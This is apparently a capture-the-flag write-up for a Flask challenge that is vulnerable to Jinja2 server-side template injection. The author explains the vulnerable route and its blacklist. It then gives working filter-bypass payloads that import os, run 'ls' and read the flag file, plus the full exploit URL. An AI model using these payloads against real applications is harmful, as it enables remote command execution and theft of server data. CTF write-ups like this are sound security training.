Tags: python jinja2 web ssti 

Rating: 4.0

app.py

app.py had source code for three different routes on the website. One of them was vulnerable to Server Side Template Injection (SSTI), given below:

@app.route("""/
 ▄█    ▄▄▄▄███▄▄▄▄         ▄█    █▄  ███    █▄   ▄█       ███▄▄▄▄      ▄████████    ▄████████    ▄████████ ▀█████████▄   ▄█          ▄████████ 
███  ▄██▀▀▀███▀▀▀██▄      ███    ███ ███    ███ ███       ███▀▀▀██▄   ███    ███   ███    ███   ███    ███   ███    ███ ███         ███    ███ 
███▌ ███   ███   ███      ███    ███ ███    ███ ███       ███   ███   ███    █▀    ███    ███   ███    ███   ███    ███ ███         ███    █▀  
███▌ ███   ███   ███      ███    ███ ███    ███ ███       ███   ███  ▄███▄▄▄      ▄███▄▄▄▄██▀   ███    ███  ▄███▄▄▄██▀  ███        ▄███▄▄▄     
███▌ ███   ███   ███      ███    ███ ███    ███ ███       ███   ███ ▀▀███▀▀▀     ▀▀███▀▀▀▀▀   ▀███████████ ▀▀███▀▀▀██▄  ███       ▀▀███▀▀▀     
███  ███   ███   ███      ███    ███ ███    ███ ███       ███   ███   ███    █▄  ▀███████████   ███    ███   ███    ██▄ ███         ███    █▄  
███  ███   ███   ███      ███    ███ ███    ███ ███▌    ▄ ███   ███   ███    ███   ███    ███   ███    ███   ███    ███ ███▌    ▄   ███    ███ 
█▀    ▀█   ███   █▀        ▀██████▀  ████████▀  █████▄▄██  ▀█   █▀    ██████████   ███    ███   ███    █▀  ▄█████████▀  █████▄▄██   ██████████ 
                                                ▀                                  ███    ███                           ▀""", methods=['GET'])
def WH4TSG01NG0N():
    BRRRRR_RUNNING = request.args.get("input", None)
    if BRRRRR_RUNNING is None:
        return "BRRRRR_RUNNING"
    else:
        for _ in BRRRRR_RUNNING:
            if any(x in BRRRRR_RUNNING for x in {'.', '_', '|join', '[', ']', 'mro', 'base'}):
                return "caught"
            else:
                return render_template_string("Your input: " + BRRRRR_RUNNING)

Here render_template_string("Your input: " + BRRRRR_RUNNING) is rendering the user input into the template which causes the vulnerability.

Verifying the bug

  1. To verify this I tried a simple SSTI payload to see if it gets executed: {{ 3*3 }}
  2. Bingo! The output I got was: Your input: 9

The exploit

  1. Since most of the important characters for SSTI was blacklisted this one was a bit tricky.
  2. After a bit of researching and playing around I figured out the payload without any blacklisted character
  3. Payload: ?input={{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27ls%27)|attr(%27read%27)()}}
  4. The above payload executes ls command and we get the output: app.py bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys templates tmp usr var
  5. Now we just need to read the flag.txt file.
  6. But we can't use . in flag.txt, So what can we do?
  7. We can simply use Linux wildcards. * or ?
  8. So the payload becomes: ?input={{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27cat%20flag?txt%27)|attr(%27read%27)()}}
  9. Boom! it got executed and the flag is: flag{1ea5n_h0w_vu1n_h1ppen_and_wh1t_l1ne_m1ke_vu1n!!!}
  10. And the full url is: https://1truth2lies.ctf.intigriti.io/%0A%20%E2%96%84%E2%96%88%20%20%20%20%E2%96%84%E2%96%84%E2%96%84%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%20%20%20%20%E2%96%84%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%20%E2%96%84%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%84%20%20%20%E2%96%84%E2%96%88%20%20%20%20%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%0A%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%84%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%84%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%0A%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%80%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%80%20%20%0A%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%84%E2%96%88%E2%96%88%E2%96%80%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%0A%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%20%20%20%20%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%80%E2%96%80%20%20%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%84%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%20%20%20%20%20%0A%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%84%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%0A%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%20%20%20%E2%96%84%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%20%20%20%E2%96%84%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%0A%E2%96%88%E2%96%80%20%20%20%20%E2%96%80%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%80%20%20%20%20%20%20%20%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%88%E2%96%88%20%20%E2%96%80%E2%96%88%20%20%20%E2%96%88%E2%96%80%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%80%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E2%96%80%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E2%96%80?input={{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27cat%20flag?txt%27)|attr(%27read%27)()}}